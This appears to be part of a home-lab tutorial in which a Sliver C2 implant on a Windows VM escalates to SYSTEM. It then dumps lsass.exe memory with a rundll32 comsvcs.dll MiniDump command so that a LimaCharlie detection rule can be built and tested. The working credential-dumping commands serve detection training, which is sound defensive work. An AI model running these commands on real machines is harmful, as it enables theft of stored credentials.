**Part 3 - Adversarial Simulation**

This section continues from **Part 2**, using the active **Sliver C2 session** to execute adversarial techniques that should be detectable by LimaCharlie.

**Lab Steps**

**1. Elevating to SYSTEM Privileges**

1. **Ensure connection to the Sliver C2 session.**
2. **Elevate the implant to SYSTEM-level privileges:**

getsystem

1. **Switch to the new SYSTEM-level session.**
2. **Verify SYSTEM privileges:**

whoami

**2. Credential Dumping via lsass.exe**

1. **Identify the lsass.exe process ID (PID):**

ps -e lsass.exe

1. **Dump lsass.exe memory to a file using rundll32.exe:**

execute rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump [PID] C:\\Windows\\Temp\\lsass.dmp full

1. **Verify that lsass.dmp has been created in C:\Windows\Temp\.**

**Detecting Credential Dumping in LimaCharlie**

1. **Open LimaCharlie and navigate to the Windows VM sensor’s "Timeline".**
2. **Filter events using “Event Type Filters” for SENSITIVE\_PROCESS\_ACCESS.**
3. **Refine the search to focus on rundll32.exe.**
4. **Create a Detection & Response (D&R) Rule**
5. **Test the rule against past events** and **save it as LSASS Accessed** with detection enabled.

**Re-running the Attack to Trigger Detection**

1. **Delete the previous lsass.dmp file:**

execute cmd.exe /c del C:\\Windows\\Temp\\lsass.dmp

1. **Repeat the credential dumping attack:**bash

execute rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump [PID] C:\\Windows\\Temp\\lsass.dmp full

1. **Check LimaCharlie’s "Detections" tab** to confirm that the rule successfully flagged the activity.

**Conclusion**

This exercise demonstrates how adversarial techniques, such as **privilege escalation and credential dumping**, can be simulated and detected. LimaCharlie provides **real-time telemetry**, enabling detection and response to these actions. Further analysis can be done by:

* **Exploring additional attack techniques** within the Sliver C2 session.
* **Creating more detection rules** for different adversarial behaviors.
* **Refining detection logic** to reduce false positives and improve accuracy.

This approach provides practical insight into **both offensive and defensive security** strategies.